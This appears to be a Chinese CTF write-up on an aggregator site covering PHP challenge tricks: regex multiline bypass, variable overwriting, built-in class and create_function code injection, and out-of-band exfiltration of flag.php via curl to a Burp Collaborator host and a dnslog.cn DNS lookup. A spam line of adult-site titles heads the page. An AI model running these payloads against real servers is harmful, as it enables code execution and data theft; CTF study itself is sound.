日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當前位置: 首頁 > 编程语言 > php >内容正文

php

CTF中PHP相关题目考点总结(二)

發布時間:2025/3/21 php 31 豆豆
生活随笔 收集整理的這篇文章主要介紹了 CTF中PHP相关题目考点总结(二) 小編覺得挺不錯的,現在分享給大家,幫大家做個參考.

介紹

本篇文章主要總結了我在寫ctfshow題目中遇到的關于PHP的考點。因為只總結知識點和考點會比較空洞,也不容易理解,所以我都是通過題目來總結考點,這樣的話比較容易理解。

PHP特性相關考點

一、

考點:php正則表達式的匹配模式差異。

例題:

show_source(__FILE__); include('flag.php'); $a=$_GET['cmd']; if(preg_match('/^php$/im', $a)){ #/i表示不區分大小寫,/m表示多行匹配if(preg_match('/^php$/i', $a)){echo 'hacker';}else{echo $flag;} } else{echo 'nonononono'; }

例題分析:

字符 ^ 和 $ 同時使用時,表示精確匹配,需要匹配到以php開頭和以php結尾的字符串才會返回true,否則返回false
/m 多行匹配模式下,若存在換行\n并且有開始^或結束符的情況下,將以換行為分隔符,逐行進行匹配。因此當我們傳入以下payload時,第一個if正則匹配會返回true。但是當不是多行匹配模式的時候也就是在第二個if正則匹配中出現換行符‘符的情況下,將以換行為分隔符,逐行進行匹配。因此當我們傳入以下payload時,第一個if正則匹配會返回true。但是當不是多行匹配模式的時候也就是在第二個if正則匹配中出現換行符`%0a`的時,payloadiftrueifcmd的值會被當做兩行處理,因此當我們傳入以下payload時,第二個if正則表達式匹配到的是aaaphp,不符合以php開頭和以php結尾會返回false,從而echo出flag。

payload如下:

?cmd=aaa%0aphp #%0a為換行符

【相關技術文檔】

二、

考點:php變量覆蓋。

例題:

<?php highlight_file(__FILE__); include('flag.php'); error_reporting(0); $error='你還想要flag嘛?'; $suces='既然你想要那給你吧!'; foreach($_GET as $key => $value){if($key==='error'){die("what are you doing?!");}$$key=$$value; }foreach($_POST as $key => $value){if($value==='flag'){die("what are you doing?!");}$$key=$$value; } if(!($_POST['flag']==$flag)){die($error); } echo "your are good".$flag."\n"; die($suces); ?>

例題分析:

這里利用的是變量覆蓋,關鍵點在

key=key=

value,這里把$key的值當作了變量。

例如 $key=flag 則$$key=$flag

這里一共有三個變量,error、error、errorsuces和flag;這里通過die(flag;這里通過die(flagdie(error)或者die($suces)都可以輸出flag,所以有兩個payload。

第一種:
通過die(error)輸出flag,首先我們把error)輸出flag,首先我們把error)flagflag的值傳給test,接著再把test,接著再把testtest的值傳給error,于是error,于是errorerror的值就是flag,再通過if判斷die輸出就是flag。
例如flag=ctfshowxxxxx,?test=flag,通過第一個for循環,也就是flag=ctfshow{xxxxx},?test=flag,通過第一個for循環,也就是flag=ctfshowxxxxx?test=flagfortest=flag,從而把變量flag的值賦給test變量,因此flag,從而把變量flag的值賦給test變量,因此flagflagtesttest=ctfshow{xxxxx},接著再通過第二個for循環,error=error=error=test,此時$error=ctfshow{xxxxx} paylload如下:

?test=flagpost: error=test

第二種:
通過die(suces)輸出flag,首先我們把flag的值傳給suces變量,接著再把flag的值給置空,以達到下面if條件為0不執行死亡函數的目的,從而往下執行,die(suces)輸出flag,首先我們把flag的值傳給suces變量,接著再把flag的值給置空,以達到下面if條件為0不執行死亡函數的目的,從而往下執行,die(suces)flagflagsucesflagif0die(suces)即可把flag輸出,payload如下:

?suces=flag&flag=

三、

考點:PHP異常處理的利用,Exception處理用于在指定的錯誤發生時改變腳本的正常流程,是php內置的異常處理類。

例題:

<?php highlight_file(__FILE__); error_reporting(0); if(isset($_GET['v1']) && isset($_GET['v2'])){$v1 = $_GET['v1'];$v2 = $_GET['v2'];if(preg_match('/[a-zA-Z]+/', $v1) && preg_match('/[a-zA-Z]+/', $v2)){eval("echo new $v1($v2());");} }

例題分析:

這里傳入兩個參數,并且都需要有字母,我們用php內置類讓v1不進行報錯,v2執行我們的命令就好了。

Exception處理用于在指定的錯誤發生時改變腳本的正常流程,是php內置的異常處理類。

所以payload如下:

?v1=Exception&v2=system('tac fl36dg.txt')

四、

考點一:PHP變量名由數字字母下劃線組成,是沒有.的 我從大佬的文章了解到,GET或POST方式傳進去的變量名,會自動將空格 + . [轉換為_。

例題:

<?php error_reporting(0); highlight_file(__FILE__); include("flag.php"); $a=$_SERVER['argv']; $c=$_POST['fun']; if(isset($_POST['CTF_SHOW'])&&isset($_POST['CTF_SHOW.COM'])&&!isset($_GET['fl0g'])){if(!preg_match("/\\|/|~|`|!|@|#|%|^|*|-|+|=|{|}|"|'|,|.|;|?/", $c)&&$c<=18){eval("$c".";");if($fl0g==="flag_give_me"){echo $flag;}} }

例題分析:

這道題其中的一個難點是下面這行代碼:

if(isset($_POST['CTF_SHOW'])&&isset($_POST['CTF_SHOW.COM'])&&!isset($_GET['fl0g']))

PHP變量名由數字字母下劃線組成,是沒有.的 我從大佬的文章了解到,GET或POST方式傳進去的變量名,會自動將空格 + . [轉換為_。

有一種特殊情況,GET或POST方式傳參時,變量名中的 [ 也會被替換為_,但其后的字符就再進行替換了
如 CTF[SHOW.COM => CTF_SHOW.COM 所以payload如下:

POST: CTF_SHOW=&CTF[SHOW.COM=&fun=echo $flag

很明顯這個解是非預期的,其實是可以通過正常步驟得到flag的。

出題人的預期解

get: a=1+fl0g=flag_give_me post: CTF_SHOW=&CTF[SHOW.COM=&fun=parse_str($a[1])

因為上面的代碼中的這個代碼語句 a=a=a=_SERVER[‘argv’]; 會將url傳入的變量存入數組a中,然后我們配合parse_str函數從數組a中取出fl0g=flag_give_me,配合eval函數,從而給fl0g變量賦值,這樣就可以繞過if語句,從而echo出flag。

$_SERVER['argv'][0] = $_SERVER['QUERY_STRING']
query string是Uniform Resource Locator (URL)的一部分, 其中包含著需要傳給web application的數據

這里進行了本地測試,注意需要在php.ini開啟register_argc_argv配置項,測試代碼為:

<?php $a=$_SERVER['argv']; var_dump($a);

所以如果我們get傳入變量賦值語句,接著在post里面來執行這個賦值語句就可以完美繞過。

五、

考點一:利用php內置類FilesystemIterator 獲取指定目錄下的所有文件名。

考點二:getcwd()函數的作用時返回當前工作目錄。

例題:

<?php highlight_file(__FILE__); error_reporting(0); if(isset($_GET['v1']) && isset($_GET['v2'])){$v1 = $_GET['v1'];$v2 = $_GET['v2'];if(preg_match('/~|`|!|@|#|\$|%|^|&|*|(|)|_|-|+|=|{|[|;|:|"|'|,|.|?|\\|/|[0-9]/', $v1)){die("error v1");}if(preg_match('/~|`|!|@|#|\$|%|^|&|*|(|)|_|-|+|=|{|[|;|:|"|'|,|.|?|\\|/|[0-9]/', $v2)){die("error v2");}eval("echo new $v1($v2());"); } ?>

例題分析:

這里正則進行了匹配,我們可以使用FilesystemIterator文件系統迭代器來進行利用,通過新建FilesystemIterator,使用getcwd()來顯示當前目錄下的所有文件的文件名,payload為:

?v1=FilesystemIterator&v2=getcwd

知道flag所在文件的文件名和目錄后直接訪問即可獲得flag。

六、

考點一:PHP中邏輯運算符&&運算符比||運算符優先級高。

考點二:PHP中邏輯運算符&&和||執行的流程。

例題:

<?php include("flag.php"); highlight_file(__FILE__); if(isset($_GET['username']) && isset($_GET['password']) && isset($_GET['code'])){$username = (String)$_GET['username'];$password = (String)$_GET['password'];$code = (String)$_GET['code'];if($code === mt_rand(1,0x36D) && $password === $flag || $username ==="admin"){if($code == 'admin'){echo $flag;}} }

例題分析:

分析代碼:由于&&運算符比||運算符優先級高,并且我們不知道隨機數產生啥,所以$code === mt_rand(1,0x36D)的結果是false,同時我們看到code的值需要為admin,所以我們設置code=admin,又由于與運算(&&)一假則假,所以不再判斷 $password === $flag 的部分,然后就變成了:

if(false|| $username ==="admin")

又由于或運算(||)一真則真,所以我們只要把username設置成admin即可,所以payload如下:

?username=admin&code=admin&password=1

補充:

一、PHP中邏輯運算符&&和||的分析:

首先,我給出一段代碼:

<?php$test="李四";$test=="張三"&&$test="張三來了";echo $test; //輸出“李四”$test="李四";$test=="張三"||$test="張三不在這里";echo $test; //輸出“張三不在這里” ?>

為什么會產生這樣的結果呢?如果按照平常的方法,我們最少要用個IF語句來判斷。可現在只是兩個邏輯運算就會把變量的值給改變了。下面我們來分析一下它的運行原理。

在參與邏輯運算的兩邊表達式中,是按照從左到右順序進行運算的。而“與”運算中只要有一個是假,整個表達式的結果為假。所以,當左邊表達式為假時,就無 需再進行運算了。這樣的處理無疑對程序的運行效率是大有好處的。所以說正如題目所說,是一種高效的用法。而邏輯或就不同了:只要一個為真那整個表達式就為 真。所以,在左邊為假的情況下,還要運行右邊的表達式判斷。明白或理解了上面所說,也就對結果不感到奇怪了。

最后,我們做以下總結:
對于“與”( && ) 運算: x && yxfalse時,直接跳過,不執行y
對于“或”( || ) 運算 : x||yxtrue時,直接跳過,不執行y

二、PHP運算符優先級一覽表:

優先級結合方向運算符附加信息
1無結合clone、newclone 和 new
2從右向左**算術運算符
3從右向左++、–、~、(int)、(float)、(string)、(array)、(object)、(bool)、@類型、遞增/遞減、錯誤控制
4無結合instanceof類型
5從右向左!邏輯運算符
6從左向右*、/、%算術運算符
7從左向右+、-、.算術運算符和字符串運算符
8從左向右<<、>>位運算符
9無結合<、<=、>、>=比較運算符
10無結合、!=、=、!==、<>、<=>比較運算符
11從左向右&位運算符和引用
12從左向右^位運算符
13從左向右
14從左向右&&邏輯運算符
15從左向右
16從右向左??null 合并運算符
17從左向右? :三元運算符
18從右向左=、+=、-=、*=、**=、/=、.=、%=、&=、=、^=、<<=、>>=
19從左向右and邏輯運算符
20從左向右xor邏輯運算符
21從左向右or邏輯運算符

對具有相同優先級的運算符來說,從左向右的結合方向意味著將從左向右求值,從右向左結合方向則反之。對于無結合方向的則具有相同優先級的運算符,該運算符有可能無法與其自身結合。

七、

考點一:命令執行的騷操作:curl -F命令的使用。

考點二:Burp Collaborator 的使用和帶外攻擊的概念與流程。

例題:

<?php error_reporting(0); highlight_file(__FILE__); //flag.php if($F = @$_GET['F']){if(!preg_match('/system|nc|wget|exec|passthru|netcat/i', $F)){eval(substr($F,0,6));}else{die("6個字母都還不夠呀?!");} }

例題分析:

這個題主要是考察,命令執行的騷操作和curl -F的使用,分析一下代碼發現仿佛是只能讀取前面6個字符去執行命令,禁止了命令執行的函數,并且沒有寫入權限。那如果我們傳遞的參數就是$F本身,會不會發生變量覆蓋?

那我們來一個簡單的測試。

我們傳遞?F=`$F`;+sleep 3 發現網站確實sleep了一會,說明的確執行了sleep命令 **那為什么會這樣?** 因為是我們傳遞的`$F`;+sleep 3。先進行substr()函數截斷然后去執行eval()函數 這個函數的作用是執行php代碼,``是shell_exec()函數的縮寫,然后就去命令執行。 而$F就是我們輸入的`$F`;+sleep 3 所以最后執行的代碼應該是 ``$F`;+sleep 3`,所以就可以成功執行sleep函數 這里可能有點繞,可以慢慢理解下。

然后就是利用curl去帶出flag.php

# payload: #其中-F 為帶文件的形式發送post請求 #xx是上傳文件的name值,flag.php就是上傳的文件 # payload中的url地址是我們從Collaborator Client上獲取到的,點擊copy to clipboard即可獲得?F=`$F`;+curl -X POST -F xx=@flag.php http://qa42kvxuxk5mxr5twr0d84hgf7lx9m.burpcollaborator.net

我們在目標頁面輸入payload并發送后,然后點擊Poll now即可看到Burp的 Collaborator服務器與目標服務器的通信數據包,從而我們可以看到flag。

另外我們還可以利用dns帶外來獲取flag:

payload:?F = `$F`; curl `cat flag.php|grep "flag"`.hxmwnm.dnslog.cn

補充:

**Burp Collaborator 的使用和帶外攻擊的概念與流程總。結:**https://blog.csdn.net/fageweiketang/article/details/89073662

八、

考點一:使用create_function()代碼注入

考點二:php里的默認命名空間相關知識

例題:

<?php highlight_file(__FILE__);if(isset($_POST['ctf'])){$ctfshow = $_POST['ctf'];if(!preg_match('/^[a-z0-9_]*$/isD',$ctfshow)) {$ctfshow('',$_GET['show']);} }

這道題對ctf變量進行了一個正則表達式過濾,post傳參的ctf和get傳參的show進行了組合,這里我們可以使用create_function()進行代碼注入

string create_function ( string args , string args , string code )

string $args 變量部分
string $code 方法代碼部分

#本地測試代碼 create_function('$test','echo $test."very cool"') //等于 function f($test){echo $test."very cool"; } /*利用如下 如果我們第二個參數輸入的是'echo 111;}phpinfo();//' 即可把前面的方法括號給閉合并且成功執行phpinfo命令,后面用//注釋掉后邊的語句 也就是下面這個結構 */ function f($dotast){echo 111; } phpinfo();//}

而正則表達式我們可以用進行繞過,正好在php里代表默認命名空間。

php里默認命名空間是\,所有原生函數和類都在這個命名空間中。 普通調用一個函數,如果直接寫函數名function_name()調用,調用的時候其實相當于寫了一個相對路徑; 而如果是\function_name()這樣的形式去調用函數,則是表示寫了一個絕對路徑。 如果你在其他namespace里調用系統類,必須使用絕對路徑的寫法

最終payload為

?show=echo 123;}system("tac flag.php");//post: ctf=\create_function

總結

以上是生活随笔為你收集整理的CTF中PHP相关题目考点总结(二)的全部內容,希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網站內容還不錯,歡迎將生活随笔推薦給好友。